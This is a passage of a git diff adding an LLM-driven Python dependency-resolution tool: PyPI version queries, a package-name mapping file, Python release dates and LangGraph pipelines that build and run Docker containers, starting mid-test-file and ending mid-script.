+{"stream":"\u001b[91mERROR: Could not find a version that satisfies the requirement djangorestframework==3.15.2 (from versions: 0.1, 0.1.1, 0.2.0, 0.2.1, 0.2.2, 0.2.3, 0.2.4, 0.3.0, 0.3.1, 0.3.2, 0.3.3, 0.4.0, 2.0.0, 2.0.1, 2.0.2, 2.1.0, 2.1.1, 2.1.2, 2.1.3, 2.1.4, 2.1.5, 2.1.6, 2.1.7, 2.1.8, 2.1.9, 2.1.10, 2.1.11, 2.1.12, 2.1.13, 2.1.14, 2.1.15, 2.1.16, 2.1.17, 2.2.0, 2.2.1, 2.2.2, 2.2.3, 2.2.4, 2.2.5, 2.2.6, 2.2.7, 2.3.0, 2.3.1, 2.3.2, 2.3.3, 2.3.4, 2.3.5, 2.3.6, 2.3.7, 2.3.8, 2.3.9, 2.3.10, 2.3.11, 2.3.12, 2.3.13, 2.3.14, 2.4.0, 2.4.1, 2.4.2, 2.4.3, 2.4.4, 2.4.5, 2.4.6, 2.4.8, 3.0.0, 3.0.1, 3.0.2, 3.0.3, 3.0.4, 3.0.5, 3.1.0, 3.1.1, 3.1.2, 3.1.3, 3.2.0, 3.2.1, 3.2.2, 3.2.3, 3.2.4, 3.2.5, 3.3.0, 3.3.1, 3.3.2, 3.3.3, 3.4.0, 3.4.1, 3.4.2, 3.4.3, 3.4.4, 3.4.5, 3.4.6, 3.4.7, 3.5.0, 3.5.1, 3.5.2, 3.5.3, 3.5.4, 3.6.0, 3.6.1, 3.6.2, 3.6.3, 3.6.4, 3.7.0, 3.7.1, 3.7.2, 3.7.3, 3.7.4, 3.7.5, 3.7.6, 3.7.7, 3.8.0, 3.8.1, 3.8.2, 3.9.0, 3.9.1, 3.9.2, 3.9.3, 3.9.4, 3.10.0, 3.10.1, 3.10.2, 3.10.3, 3.11.0, 3.11.1, 3.11.2, 3.12.0, 3.12.1, 3.12.2, 3.12.3, 3.12.4, 3.13.0, 3.13.1, 3.14.0, 3.15.0, 3.15.1)\nERROR: No matching distribution found for djangorestframework==3.15.2\n\u001b[0m"}
+{"errorDetail":{"code":1,"message":"The command 'pip install --trusted-host pypi.python.org --default-timeout=100 djangorestframework==3.15.2' returned a non-zero code: 1"},"error":"The command 'pip install --trusted-host pypi.python.org --default-timeout=100 djangorestframework==3.15.2' returned a non-zero code: 1"}
+"""
+
+    import_error = """
+Traceback (most recent call last):
+  File "/app/snippet.py", line 1, in <module>
+    from django.test.simple import DjangoTestSuiteRunner
+ImportError: No module named simple
+"""
+
+    attribute_error = """
+Traceback (most recent call last):
+          File "/app/snippet.py", line 13, in <module>
+            driver = webdriver.PhantomJS(executable_path="node_modules/phantomjs/bin/phantomjs")
+        AttributeError: 'module' object has no attribute 'PhantomJS'
+"""
+
+    non_zero_error = """
+{"stream":"\u001b[91m    ERROR: Command errored out with exit status 1:\n     command: /usr/local/bin/python -c 'import sys, setuptools, tokenize; sys.argv[0] = '\"'\"'/tmp/pip-install-an7_hj/word2vec/setup.py'\"'\"'; __file__='\"'\"'/tmp/pip-install-an7_hj/word2vec/setup.py'\"'\"';f=getattr(tokenize, '\"'\"'open'\"'\"', open)(__file__);code=f.read().replace('\"'\"'\\r\\n'\"'\"', '\"'\"'\\n'\"'\"');f.close();exec(compile(code, __file__, '\"'\"'exec'\"'\"'))' egg_info --egg-base /tmp/pip-pip-egg-info-NOriAn\n         cwd: /tmp/pip-install-an7_hj/word2vec/\n    Complete output (5 lines):\n    Traceback (most recent call last):\n      File \"\u003cstring\u003e\", line 1, in \u003cmodule\u003e\n      File \"/tmp/pip-install-an7_hj/word2vec/setup.py\", line 23, in \u003cmodule\u003e\n        from Cython.Build import cythonize\n    ImportError: No module named Cython.Build\n    ----------------------------------------\n\u001b[0m"}
+{"stream":"\u001b[91mERROR: Command errored out with exit status 1: python setup.py egg_info Check the logs for full command output.\n\u001b[0m"}
+{"errorDetail":{"code":1,"message":"The command 'pip install --trusted-host pypi.python.org --default-timeout=100 word2vec==0.9.1' returned a non-zero code: 1"},"error":"The command 'pip install --trusted-host pypi.python.org --default-timeout=100 word2vec==0.9.1' returned a non-zero code: 1"}
+"""
+    previous_versions = {'error_modules': {'django': ['1.9rc2']}}
+
+    versions = ollama_helper.pypi.read_python_file('cython', '2.7')
+    print(versions)
+
+    pass
+    
+if __name__ == "__main__":
+    main()
diff --git a/tools/custom_pllm/helpers/py_pi_query.py b/tools/custom_pllm/helpers/py_pi_query.py
new file mode 100644
index 00000000..6ba46c07
--- /dev/null
+++ b/tools/custom_pllm/helpers/py_pi_query.py
@@ -0,0 +1,302 @@
+# Methods for querying PyPi directly
+# Used for finding rough versions
+import json
+import os
+import re
+from pypi_json import PyPIJSON
+from datetime import datetime
+
+from helpers.github_cruiser_core import GithubCruiserCore
+from helpers.deps_scraper import DepsScraper
+
+class PyPIQuery:
+    ###
+    # For now we use GithubCruiserCore for certain helper functions
+    ###
+    def __init__(self, logging=False, base_modules="./modules") -> None:
+        self.date_format = '%Y-%m-%d'
+        self.output_date_format = '%b %d %Y'
+        self.logging = False
+        self.ghc = GithubCruiserCore(logging=False)
+        self.deps = DepsScraper(logging=logging)
+        self.python_versions = self.ghc.load_json_from_file("helpers/ref_files/python_versions.json")
+        os.makedirs(base_modules, exist_ok=True)
+        self.base_modules = base_modules
+
+    def check_format(self, python_version):
+        python_version = python_version.replace('+', '')
+        split_version = python_version.split('.')
+        if len(split_version) == 1:
+            return f"{split_version[0]}.7"
+        else:
+            checked_version = f"{split_version[0]}.{split_version[1] if split_version[1] != 'x' else '7'}"
+            return checked_version
+    
+    
+    def read_module_file(self, module, python_version):
+        file = f"{self.base_modules}/{module}_{python_version}.txt"
+        if os.path.isfile(file):
+            with open(file, 'r') as file:
+                data = file.read()
+            return data
+        else:
+            module_details = {'python_version': python_version, 'python_modules': [module]}
+            out = self.get_module_specifics(module_details)
+            if os.path.isfile(file):
+                with open(file, 'r') as file:
+                    data = file.read()
+                return data
+            else:
+                return ''
+    
+
+    # Get a start and end date based on the Python versions we're using
+    # This takes the Python version and creates a date range from release, through to the next version.
+    # NOTE: DOUBLE CHECK THIS, POSSIBLE BAD RETURN IN CERTAIN CASES!
+    def get_python_dates(self, python_version):
+        checked_version = self.check_format(python_version)
+        
+        # Loop through the different python versions
+        for idx, x in enumerate(self.python_versions):
+            if checked_version in x['cycle']:
+                if idx > 0:
+                    next_date = datetime.strptime(self.python_versions[idx-1]['releaseDate'], self.date_format).date()
+                    next_ver = self.python_versions[idx-1]['cycle']
+                else:
+                    next_date = datetime.now().strftime(self.date_format)
+                    next_ver = ''
+                return datetime.strptime(x['releaseDate'], self.date_format).date(), next_date, checked_version
+
+    # Get a range of Python versions based on the given version
+    # For example if we give Python 3.7 it will return [3.5, 3.6, 3.7, 3.8, 3.9]
+    def get_python_range(self, python_version, pyrange=2):
+        checked_version = self.check_format(python_version)
+
+        selected_python = []
+
+        try:
+            # Loop through the different python versions
+            for idx, x in enumerate(self.python_versions):
+                if checked_version in x['cycle']:
+                    # Total elements is the current version plus the range either side
+                    total_elements_to_select = 1 + (pyrange*2)
+                    num_values_each_side = pyrange
+
+                    start_index = max(0, idx - num_values_each_side)
+                    end_index = min(len(self.python_versions), idx + num_values_each_side + 1)
+
+                    # Adjust start and end index if necessary to ensure a total of 5 elements are selected
+                    if end_index - start_index < 5:
+                        if start_index == 0:
+                            end_index += total_elements_to_select - (end_index - start_index)
+                        else:
+                            start_index -= total_elements_to_select - (end_index - start_index)
+
+                    result = self.python_versions[start_index:end_index]
+                    for version in result:
+                        selected_python.append(version['cycle'])
+        except Exception as e:
+            print(f"Unable to get Python version: {e}")
+        
+        if len(selected_python) <= 0:
+            for i in range(0, pyrange+1):
+                if i == 0:
+                    selected_python.append('3.8')
+                elif i == 1:
+                    selected_python.append('2.7')
+                    selected_python.append(f'3.{8+i}')
+                else:
+                    selected_python.append(f'3.{8+i}')
+                    selected_python.append(f'3.{8-i}')
+        elif not '2.7' in selected_python:
+            selected_python[-1] = '2.7' if len(selected_python) > 0 else selected_python.append('2.7')
+
+        if self.logging: print(selected_python)
+        return selected_python
+
+    
+    # Checks the modules to ensure they look correct
+    # This ensures there's no weird formatting or the model went awry
+    def check_modules(self, modules):
+        f = open('./helpers/ref_files/module_link.json')
+        known_modules = json.load(f)
+        module_list = {}
+
+        for module in modules:
+            if '.' in module:
+                module = module.split('.')[0]
+            
+            module_version = modules[module]
+            if module in known_modules:
+                module_list[known_modules[module.lower()]['ref']] = module_version
+            else:
+                module_list[module.lower()] = module_version
+
+        return module_list            
+
+    # Uses a json list to check if a module has a different name
+    # Loops through the modules we're looking for, along with the known list of name variants
+    # Creates a new array of module names
+    def check_module_name(self, module_name):
+        # module_name = ['jinja2', 'os', 'json', 'logging', 're', 'hashlib', 'hmac', 'random', 'string', 'time', 'google.appengine.ext', 'google.appengine.api', 'blog_main', 'webapp2', 'google.appengine.ext', 'datetime', 'logging', 'json']
+        f = open('./helpers/ref_files/module_link.json')
+        known_modules = json.load(f)
+        module_list = []
+        if type(module_name) == str:
+            module_name = [module_name]
+
+        for module in module_name:
+            if '.' in module:
+                module = module.split('.')[0]
+            
+            module = module.replace(';', '').replace(',', '')
+            
+            if module.lower() in known_modules:
+                module_list.append(known_modules[module.lower()]['ref'])
+            else:
+                module_list.append(module.lower())
+
+        module_list = self.deps.clean_deps(module_list)
+
+        return module_list
+
+
+    # Calls the PyPIJSON module to get a list of all a modules versions
+    # Returns the request meta data
+    def query_module(self, module_name):
+        try:
+            with PyPIJSON() as client:
+                requests_metadata = client.get_metadata(module_name)
+            return requests_metadata
+        except Exception as e:
+            return None
+
+
+    def find_modules(self, module_name, start_date, end_date, python_version):
+        dpq = self.query_module(module_name)
+        stored = []
+
+        if not dpq: return stored
+
+        modules_releases = dpq.releases
+        latest_release = {'version': '', 'date': datetime.strptime('1981-10-02', self.date_format).date()}
+
+        # If the module has 5 or less releases, then we take all regardless of date
+        small_repo =  len(modules_releases) <= 5
+
+        for ele in modules_releases:
+            if self.logging: print(ele)
+            if len(modules_releases) > 0:
+                release = modules_releases[ele]
+                if len(release) > 0:
+                    store = None
+                    for release_details in release:
+                        if not store:
+                            if not release_details['yanked']:
+                                upload_time = datetime.strptime(release_details['upload_time'].split('T')[0], '%Y-%m-%d').date()
+                                store = {}
+                                
+                                # Start block!
+                                # If the releases in the module are less than equal to 5 then we store them all
+                                if small_repo:
+                                    store = {'version': ele, 'date': upload_time.strftime(self.output_date_format)}
+
+                                # Typical block
+                                # Store anything that's within our timeframe
+                                if upload_time >= start_date and upload_time <= end_date:
+                                    store = {'version': ele, 'date': upload_time.strftime(self.output_date_format)}
+                                elif self.get_version_from_code(release_details['python_version']) == python_version:
+                                    store = {'version': ele, 'date': upload_time.strftime(self.output_date_format)}
+                                    if self.logging: print(f"{module_name} with {release_details['python_version']}: found outside date {start_date} -> {end_date}: {store}")
+                                elif 'py2' in release_details['python_version'] and '2.' in python_version:
+                                    store = {'version': ele, 'date': upload_time.strftime(self.output_date_format)}
+                                elif 'py3' in release_details['python_version'] and '3.' in python_version:
+                                    store = {'version': ele, 'date': upload_time.strftime(self.output_date_format)}
+                                # elif upload_time > end_date and len(stored) <= 0:
+                                #     store = {'version': ele, 'date': upload_time.strftime(self.output_date_format)}
+                                elif 'source' in release_details['python_version'] and len(stored) <= 20:
+                                    store = {'version': ele, 'date': upload_time.strftime(self.output_date_format)}
+
+                                # Make sure we always store the latest version
+                                if upload_time >= latest_release['date']:
+                                    latest_release = {'version': ele, 'date': upload_time}
+
+                    if store: stored.append(store)
+    
+        if self.logging: print(f"start date: {start_date} | end date: {end_date}")
+        
+        if len(stored) == 0:
+            latest_release['date'] = latest_release['date'].strftime(self.output_date_format)
+            stored.append(latest_release)
+        
+        return stored
+
+    def get_module_specifics(self, module_details={}):
+        if self.logging: print(module_details)
+        start_date, end_date, python_version = self.get_python_dates(module_details['python_version'])
+        
+        # Update the Python modules with exact install names
+        python_modules = self.check_module_name(module_details['python_modules'])
+        # Filter further through PyPi to create a curated list
+        modified_modules = []
+
+
+        # Function to split version strings and convert each part to an integer
+        def version_key(version):
+            # Split by '.' and convert numeric parts to integers. Handle non-numeric parts (e.g., '4.0.30b1') by keeping them as strings.
+            return [int(part) if part.isdigit() else part for part in re.split(r'(\d+)', version)]
+
+
+        for dep in python_modules:
+            modules = self.find_modules(dep, start_date, end_date, python_version)
+            module_versions = []
+            if len(modules) > 0:
+                # module_details = f"Module name: {dep}, Python version: {python_version}, Module versions: ["
+                # module_details = f"Module versions: ["
+                for idx, module in enumerate(modules):
+                    # if idx > 0: module_details += ", "
+                    # module_details += f"{module['version']} ({module['date']})"
+                    # module_details += f"{module['version']}"
+                    module_versions.append(module['version'])
+                # module_details += "]"
+                # if self.logging: print(module_details)
+            
+            modified_modules.append(dep)
+            module_versions.sort(key=version_key)
+            with open(f"{self.base_modules}/{dep}_{python_version}.txt", "w") as outfile:
+                # outfile.write(f"Module versions: [")
+                outfile.write(', '.join(module_versions))
+                # outfile.write("]")
+                # module_details = f"Module versions: ["
+                
+                # outfile.write(module_details)
+
+        return modified_modules, python_version
+
+    def get_version_from_code(self, python_code):
+        version = ""
+
+        if 'cp' in python_code:
+            python_code = python_code[2:]
+        else:
+            return python_code
+        
+        for idx, c in enumerate(python_code):
+            if idx < len(python_code)-1:
+                version += f"{c}."
+            else:
+                version += c
+        
+        return version
+
+def main():
+    pp = PyPIQuery()
+    sk = pp.query_module('clipboard')
+
+    llm_details = {'python_version': '2.7', 'python_modules': ['clipboard']}
+    pp.get_module_specifics(llm_details)
+
+    print(sk)
+
+if __name__ == "__main__":
+    main()
\ No newline at end of file
diff --git a/tools/custom_pllm/helpers/ref_files/module_link.json b/tools/custom_pllm/helpers/ref_files/module_link.json
new file mode 100644
index 00000000..69083e35
--- /dev/null
+++ b/tools/custom_pllm/helpers/ref_files/module_link.json
@@ -0,0 +1,269 @@
+{
+    "apiclient": {
+        "ref": "google-api-python-client"
+    },
+    "arcpy": {
+        "ref": "arcgispro-py3"
+    },
+    "attr": {
+        "ref": "attrs"
+    },
+    "avahi-python": {
+        "ref": "python-avahi"
+    },
+    "azure-mgmt-azure": {
+        "ref": "azure-mgmt"
+    },
+    "bcc": {
+        "ref": "bcc-python"
+    },
+    "bio": {
+        "ref": "biopython"
+    },
+    "bs4": {
+        "ref": "beautifulsoup4"
+    },
+    "c4d": {
+        "ref": "c4ddev"
+    },
+    "chess": {
+        "ref": "python-chess"
+    },
+    "cjson": {
+        "ref": "python-cjson"
+    },
+    "cms": {
+        "ref": "django-cms"
+    },
+    "cocoa": {
+        "ref": "pycocoa"
+    },
+    "console": {
+        "ref": "webvirtmgr"
+    },
+    "compressor": {
+        "ref": "django-compressor"
+    },
+    "crypto": {
+        "ref": "pycryptodome"
+    },
+    "cryptodome": {
+        "ref": "pycryptodomex"
+    },
+    "cv2": {
+        "ref": "opencv-python"
+    },
+    "daemon": {
+        "ref": "python-daemon"
+    },
+    "dateutil": {
+        "ref": "python-dateutil"
+    },
+    "debug_toolbar": {
+        "ref": "django-debug-toolbar"
+    },
+    "dns": {
+        "ref": "dnspython3"
+    },
+    "docx": {
+        "ref": "python-docx"
+    },
+    "editor": {
+        "ref": "python-editor"
+    },
+    "elementtree": {
+        "ref": "citelementtree"
+    },
+    "ffmpeg": {
+        "ref": "python-ffmpeg"
+    },
+    "freetype": {
+        "ref": "freetype-py"
+    },
+    "generic": {
+        "ref": "pygeneric"
+    },
+    "gi": {
+        "ref": "pygobject"
+    },
+    "git": {
+        "ref": "gitpython"
+    },
+    "github": {
+        "ref": "pygithub"
+    },
+    "googleapiclient": {
+        "ref": "google-api-python-client"
+    },
+    "guardian": {
+        "ref": "django-guardian"
+    },
+    "haystack": {
+        "ref": "django-haystack"
+    },
+    "i3": {
+        "ref": "i3-py"
+    },
+    "ib": {
+        "ref": "ibpy2"
+    },
+    "imagekit": {
+        "ref": "django-imagekit"
+    },
+    "impala": {
+        "ref": "impyla"
+    },
+    "jnius": {
+        "ref": "pyjnius"
+    },
+    "jose": {
+        "ref": "python-jose"
+    },
+    "llama_index": {
+        "ref": "llama-index"
+    },
+    "load_dotenv": {
+        "ref": "dotenv"
+    },
+    "magic": {
+        "ref": "python-magic"
+    },
+    "matlab": {
+        "ref": "matlabengine"
+    },
+    "mecab": {
+        "ref": "mecab-python"
+    },
+    "mega": {
+        "ref": "python-mega"
+    },
+    "memcache": {
+        "ref": "python-memcached"
+    },
+    "messaging": {
+        "ref": "python-messaging"
+    },
+    "microbit": {
+        "ref": "yotta"
+    },
+    "more_itertools": {
+        "ref": "more-itertools"
+    },
+    "mosquitto": {
+        "ref": "paho-mqtt"
+    },
+    "multipart": {
+        "ref": "python-multipart"
+    },
+    "multipart_reader": {
+        "ref": "multipart-reader"
+    },
+    "mysqldb": {
+        "ref": "mysqlclient"
+    },
+    "naturaltoken": {
+        "ref": "ntlk"
+    },
+    "nomad": {
+        "ref": "python-nomad"
+    },
+    "nova": {
+        "ref": "python-novaclient"
+    },
+    "obelisk": {
+        "ref": "obelisk-py"
+    },
+    "objc": {
+        "ref": "pyobjc"
+    },
+    "openerp": {
+        "ref": "openerp-web"
+    },
+    "openssl": {
+        "ref": "pyopenssl"
+    },
+    "osgeo": {
+        "ref": "gdal"
+    },
+    "paho": {
+        "ref": "paho-mqtt"
+    },
+    "path": {
+        "ref": "pathpy"
+    },
+    "PIL": {
+        "ref": "pillow"
+    },
+    "pil": {
+        "ref": "pillow"
+    },
+    "pipeline": {
+        "ref": "django-pipeline"
+    },
+    "pptx": {
+        "ref": "python-pptx"
+    },
+    "pygame": {
+        "ref": "pygame-ce"
+    },
+    "registration": {
+        "ref": "django-registration"
+    },
+    "rest_framework": {
+        "ref": "djangorestframework"
+    },
+    "restful_lib": {
+        "ref": "python-rest-client"
+    },
+    "securitycenter": {
+        "ref": "pysecuritycenter"
+    },
+    "serial": {
+        "ref": "pyserial"
+    },
+    "skimage": {
+        "ref": "scikit-image"
+    },
+    "sklearn": {
+        "ref": "scikit-learn"
+    },
+    "social_auth": {
+        "ref": "django-social-auth"
+    },
+    "social-auth": {
+        "ref": "django-social-auth"
+    },
+    "socks": {
+        "ref": "pysocks"
+    },
+    "storages": {
+        "ref": "django-storages"
+    },
+    "tastypie": {
+        "ref": "django-tastypie"
+    },
+    "twitter": {
+        "ref": "python-twitter"
+    },
+    "usb": {
+        "ref": "pyusb"
+    },
+    "visa": {
+        "ref": "pyvisa"
+    },
+    "watson": {
+        "ref": "td-watson"
+    },
+    "web": {
+        "ref": "web-py"
+    },
+    "wordpress_xmlrpc": {
+        "ref": "python-wordpress-xmlrpc"
+    },
+    "xmpp": {
+        "ref": "xmpppy"
+    },
+    "yaml": {
+        "ref": "pyyaml"
+    }
+}
diff --git a/tools/custom_pllm/helpers/ref_files/python_versions.json b/tools/custom_pllm/helpers/ref_files/python_versions.json
new file mode 100644
index 00000000..e10e88b1
--- /dev/null
+++ b/tools/custom_pllm/helpers/ref_files/python_versions.json
@@ -0,0 +1 @@
+[{"cycle":"3.12","releaseDate":"2023-10-02","support":"2025-04-02","eol":"2028-10-02","latest":"3.12.1","latestReleaseDate":"2023-12-07","lts":false},{"cycle":"3.11","releaseDate":"2022-10-24","support":"2024-04-01","eol":"2027-10-24","latest":"3.11.7","latestReleaseDate":"2023-12-04","lts":false},{"cycle":"3.10","releaseDate":"2021-10-04","support":"2023-04-05","eol":"2026-10-04","latest":"3.10.13","latestReleaseDate":"2023-08-24","lts":false},{"cycle":"3.9","releaseDate":"2020-10-05","support":"2022-05-17","eol":"2025-10-05","latest":"3.9.18","latestReleaseDate":"2023-08-24","lts":false},{"cycle":"3.8","releaseDate":"2019-10-14","support":"2021-05-03","eol":"2024-10-14","latest":"3.8.18","latestReleaseDate":"2023-08-24","lts":false},{"cycle":"3.7","releaseDate":"2018-06-26","support":"2020-06-27","eol":"2023-06-27","latest":"3.7.17","latestReleaseDate":"2023-06-05","lts":false},{"cycle":"3.6","releaseDate":"2016-12-22","support":"2018-12-24","eol":"2021-12-23","latest":"3.6.15","latestReleaseDate":"2021-09-03","lts":false},{"cycle":"3.5","releaseDate":"2015-09-12","support":false,"eol":"2020-09-13","latest":"3.5.10","latestReleaseDate":"2020-09-05","lts":false},{"cycle":"3.4","releaseDate":"2014-03-15","support":false,"eol":"2019-03-18","latest":"3.4.10","latestReleaseDate":"2019-03-18","lts":false},{"cycle":"3.3","releaseDate":"2012-09-29","support":false,"eol":"2017-09-29","latest":"3.3.7","latestReleaseDate":"2017-09-19","lts":false},{"cycle":"2.7","releaseDate":"2010-07-03","support":false,"eol":"2020-01-01","latest":"2.7.18","latestReleaseDate":"2020-04-19","lts":false},{"cycle":"2.6","releaseDate":"2008-10-01","support":false,"eol":"2013-10-29","latest":"2.6.9","latestReleaseDate":"2013-10-29","lts":false}]
\ No newline at end of file
diff --git a/tools/custom_pllm/pllm_langgraph.py b/tools/custom_pllm/pllm_langgraph.py
new file mode 100644
index 00000000..7b49476a
--- /dev/null
+++ b/tools/custom_pllm/pllm_langgraph.py
@@ -0,0 +1,293 @@
+import argparse
+from typing import TypedDict, List, Dict, Any
+from langgraph.graph import StateGraph, END
+from helpers.ollama_helper_tester import OllamaHelper
+from helpers.py_pi_query import PyPIQuery
+from helpers.build_dockerfile import DockerHelper
+from helpers.deps_scraper import DepsScraper
+import time
+
+# State Schema
+# --------------------------
+class PLLMState(TypedDict):
+    file_path: str
+    python_file: str
+    python_version: str
+    python_modules: Dict[str, str]
+    iteration: int
+    max_iterations: int
+    errors: List[Dict[str, Any]]
+    build_success: bool
+    run_success: bool
+    logs: List[str]
+    start_time: float
+    base_modules: str
+    rag: bool
+    model: str
+    base_url: str
+
+
+# Global Helpers
+# -------------------------
+ollama_helper = None
+pypi = None
+deps = None
+docker_helper = None
+
+def init_helpers(state: PLLMState):
+    global ollama_helper, pypi, deps, docker_helper
+
+    ollama_helper = OllamaHelper(
+        base_url=state["base_url"],
+        model=state["model"],
+        logging=True,
+        temp=0.7,
+        base_modules=state["base_modules"],
+        rag=state["rag"]
+    )
+    pypi = PyPIQuery(logging=True, base_modules=state["base_modules"])
+    deps = DepsScraper(logging=True)
+    docker_helper = DockerHelper(logging=True)
+
+# Nodes
+# --------------------------
+def evaluate_file_node(state: PLLMState) -> PLLMState:
+    if not ollama_helper:
+        init_helpers(state)
+
+    try:
+        raw_file = ollama_helper.read_python_file(state["file_path"])
+        state["python_file"] = raw_file
+
+        llm_eval = ollama_helper.evaluate_file(state["file_path"])
+        state["python_version"] = llm_eval.get("python_version", "3.8")
+        
+        # LLM may return python_modules as a list, convert to dict
+        modules = llm_eval.get("python_modules", {})
+        if isinstance(modules, list):
+            state["python_modules"] = {mod: "" for mod in modules}
+        else:
+            state["python_modules"] = modules
+
+        state["logs"].append(f"Evaluated file: {state['file_path']}")
+
+    except Exception as e:
+        state["errors"].append({"type": "EvaluationError", "details": str(e)})
+        state["logs"].append(f"Evaluation failed: {e}")
+
+    return state
+
+
+def resolve_modules_node(state: PLLMState) -> PLLMState:
+    try:
+        python_deps = []
+
+        if state["rag"]:
+            python_deps = deps.find_word_in_file(state["file_path"], 'import', [])
+
+        python_deps = pypi.check_module_name(
+            python_deps + list(state["python_modules"].keys())
+        )
+
+        state["python_modules"] = {mod: "" for mod in python_deps}
+
+        python_modules_list, state["python_version"] = pypi.get_module_specifics({
+            "python_modules": list(state["python_modules"].keys()),
+            "python_version": state["python_version"]
+        })
+
+        module_versions = ollama_helper.get_module_versions({
+            "python_modules": python_modules_list,
+            "python_version": state["python_version"]
+        })
+
+        state["python_modules"] = module_versions
+
+        state["logs"].append("Modules resolved successfully")
+
+    except Exception as e:
+        state["errors"].append({"type": "ResolutionError", "details": str(e)})
+        state["logs"].append(f"Module resolution failed: {e}")
+
+    return state
+
+
+def build_container_node(state: PLLMState) -> PLLMState:
+    try:
+        docker_helper.create_dockerfile({
+            "python_version": state["python_version"],
+            "python_modules": state["python_modules"]
+        }, state["file_path"])
+
+        success, output, error, error_type = docker_helper.build_dockerfile(state["file_path"])
+
+        state["build_success"] = success
+
+        if not success:
+            state["errors"].append({"type": error_type, "details": error})
+            state["logs"].append(f"Build failed: {error_type}")
+        else:
+            state["logs"].append("Container built successfully")
+
+    except Exception as e:
+        state["errors"].append({"type": "BuildError", "details": str(e)})
+        state["logs"].append(f"Build exception: {e}")
+
+    return state
+
+
+def run_container_node(state: PLLMState) -> PLLMState:
+    try:
+        output = docker_helper.run_container_test()
+
+        print("\n----- RUN OUTPUT -----")
+        print(output)
+
+        error_type, details = ollama_helper.process_error(
+            output,
+            state["errors"],
+            {
+                "python_modules": state["python_modules"],
+                "python_version": state["python_version"]
+            }
+        )
+
+        print("Detected error_type:", error_type)
+
+        state["run_success"] = (error_type is None or error_type == "None")
+
+        if not state["run_success"]:
+            state["errors"].append({"type": error_type, "details": details})
+            state["logs"].append(f"Run failed: {error_type}")
+        else:
+            state["logs"].append("Container run successful")
+
+    except Exception as e:
+        state["errors"].append({"type": "RunError", "details": str(e)})
+        state["logs"].append(f"Run exception: {e}")
+
+    return state
+
+
+def handle_error_node(state: PLLMState) -> PLLMState:
+    if state["iteration"] >= state["max_iterations"]:
+        state["logs"].append("Max iterations reached. Stopping.")
+        return state
+
+    if state["errors"]:
+        last_error = state["errors"][-1]
+        error_type = last_error["type"]
+
+        if error_type == "ImportError":
+            new_module = ollama_helper.update_llm_eval(
+                last_error.get("module"),
+                {"python_modules": state["python_modules"]}
+            )
+
+            if new_module:
+                state["python_modules"].update(new_module)
+
+        elif error_type == "VersionNotFound":
+            pass
+
+        state["iteration"] += 1
+        state["logs"].append(f"Handled error: {error_type}, iteration {state['iteration']}")
+
+    return state
+
+
+def log_results_node(state: PLLMState) -> PLLMState:
+    total_time = time.time() - state["start_time"]
+
+    state["logs"].append(
+        f"Total time: {total_time:.2f}s, Iterations: {state['iteration']}, Success: {state['run_success']}"
+    )
+
+    print("\n----- FINAL LOGS ------")
+    print("\n".join(state["logs"]))
+
+    return state
+
+
+# Graph Construction
+# ---------------------------
+
+def create_pllm_graph():
+    graph = StateGraph(PLLMState)
+
+    graph.add_node("evaluate", evaluate_file_node)
+    graph.add_node("resolve", resolve_modules_node)
+    graph.add_node("build", build_container_node)
+    graph.add_node("run", run_container_node)
+    graph.add_node("handle_error", handle_error_node)
+    graph.add_node("log", log_results_node)
+
+    graph.add_edge("evaluate", "resolve")
+    graph.add_edge("resolve", "build")
+
+    graph.add_conditional_edges(
+        "build",
+        lambda state: "run" if state["build_success"] else "handle_error",
+    )
+
+    graph.add_conditional_edges(
+        "run",
+        lambda state: "log"
+        if state["run_success"] or state["iteration"] >= state["max_iterations"]
+        else "handle_error",
+    )
+
+    graph.add_conditional_edges(
+        "handle_error",
+        lambda state: "log"
+        if state["iteration"] >= state["max_iterations"]
+        else "build",
+    )
+
+    graph.add_edge("log", END)
+
+    graph.set_entry_point("evaluate")
+
+    return graph.compile()
+
+
+# Main
+# -----------------------------
+
+def main():
+    parser = argparse.ArgumentParser(description='PLLM LangGraph Executor')
+
+    parser.add_argument('-f', '--file', type=str, required=True)
+    parser.add_argument('-b', '--base', type=str, default='http://localhost:11434')
+    parser.add_argument('-m', '--model', type=str, default='llama3.1:8b')
+    parser.add_argument('-l', '--loop', type=int, default=5)
+    parser.add_argument('-ra', '--rag', type=bool, default=True)
+
+    args = parser.parse_args()
+
+    initial_state: PLLMState = {
+        "file_path": args.file,
+        "python_file": "",
+        "python_version": "3.8",
+        "python_modules": {},
+        "iteration": 0,
+        "max_iterations": args.loop,
+        "errors": [],
+        "build_success": False,
+        "run_success": False,
+        "logs": [],
+        "start_time": time.time(),
+        "base_modules": "/".join(args.file.split('/')[:-1]) + "/modules",
+        "rag": args.rag,
+        "model": args.model,
+        "base_url": args.base,
+    }
+
+    graph = create_pllm_graph()
+    graph.invoke(initial_state)
+
+    print("\nPLLM LangGraph execution complete.")
+
+
+if __name__ == "__main__":
+    main()
\ No newline at end of file
diff --git a/tools/custom_pllm/requirements_langgraph.txt b/tools/custom_pllm/requirements_langgraph.txt
new file mode 100644
index 00000000..bfa37cf7
--- /dev/null
+++ b/tools/custom_pllm/requirements_langgraph.txt
@@ -0,0 +1,7 @@
+langgraph
+langchain
+langchain-community
+langchain-openai
+langchain-core
+python-dotenv
+pydantic
\ No newline at end of file
diff --git a/tools/custom_pllm/sprint2_pllm.py b/tools/custom_pllm/sprint2_pllm.py
new file mode 100644
index 00000000..47737283
--- /dev/null
+++ b/tools/custom_pllm/sprint2_pllm.py
@@ -0,0 +1,454 @@
+import os
+import argparse
+from typing import TypedDict, List, Dict, Any
+from langgraph.graph import StateGraph, END
+from helpers.ollama_helper_tester import OllamaHelper
+from helpers.py_pi_query import PyPIQuery
+from helpers.build_dockerfile import DockerHelper
+from helpers.deps_scraper import DepsScraper
+import time
+
+
+# --------- STATE SCHEMA ---------
+
+class PLLMState(TypedDict):
+    file_path: str
+    python_file: str
+    python_version: str
+    python_modules: Dict[str, str]
+    iteration: int
+    max_iterations: int
+    errors: List[Dict[str, Any]]
+    build_success: bool
+    run_success: bool
+    logs: List[str]
+    start_time: float
+    base_modules: str
+    rag: bool
+    model: str
+    base_url: str
+    failure_memory: List[Dict[str, Any]]
+    last_error_count: int
+
+
+
+# --------- GLOBALS + CACHE ---------
+
+ollama_helper = None
+pypi = None
+deps = None
+docker_helper = None
+pypi_cache = {}
+
+# -------- HELPERS ---------
+
+def init_helpers(state: PLLMState):
+    global ollama_helper, pypi, deps, docker_helper
+
+    ollama_helper = OllamaHelper(
+        base_url=state["base_url"],
+        model=state["model"],
+        logging=True,
+        temp=0.7,
+        base_modules=state["base_modules"],
+        rag=state["rag"]
+    )
